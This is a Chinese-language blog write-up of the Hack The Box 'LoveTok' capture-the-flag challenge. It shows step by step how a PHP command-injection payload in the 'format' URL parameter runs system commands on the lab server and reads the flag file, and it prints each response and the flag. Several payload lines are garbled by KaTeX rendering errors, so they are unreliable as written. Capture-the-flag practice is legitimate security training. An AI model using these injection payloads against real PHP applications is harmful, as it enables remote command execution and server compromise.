Hackthebox系列 LoveTok

最新推荐文章于 2023-12-20 00:00:00 发布

有梦想的人运气不太差

最新推荐文章于 2023-12-20 00:00:00 发布

阅读量728

点赞数

分类专栏： Hackthebox 文章标签： Hackthebox LoveTok

本文链接：https://blog.csdn.net/xujing19920814/article/details/127467517

版权

Hackthebox 专栏收录该内容

4 篇文章 1 订阅

订阅专栏

免责声明：本教程仅限学术讨论使用，请勿作用于非法用途！！！如有用于非法用途，本人概不负责。

题目来源

Hackthebox LoveTok 此为docker虚拟机打开机器浏览器即可访问

步骤、思路

下载对应的材料文件，观察发现参数format存在PHP命令注入漏洞

http://157.245.42.220:30361/?format=${system(phpinfo())}
response:phpinfo page

http://157.245.42.220:30361/?format=${system(whoami)}
response: www

http://157.245.42.220:30361/?format=${system(pwd)}
response:/www

http://157.245.42.220:30361/?format= ${system(ls)} http://157.245.42.220:30361/?format=$ {system($_GET[1])}&1=ls
response:Router.php assets controllers index.php models static views

http://157.245.42.220:30361/?format= $KaTeX parse error: Expected '}', got 'EOF' at end of input: {system($ _GET[1])}&1=ls+/
response: bin boot dev entrypoint.sh etc flagkj75g home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www

http://157.245.42.220:30361/?format= $KaTeX parse error: Expected '}', got 'EOF' at end of input: {system($ _GET[1])}&1=cat+/flagkj75g
response:HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}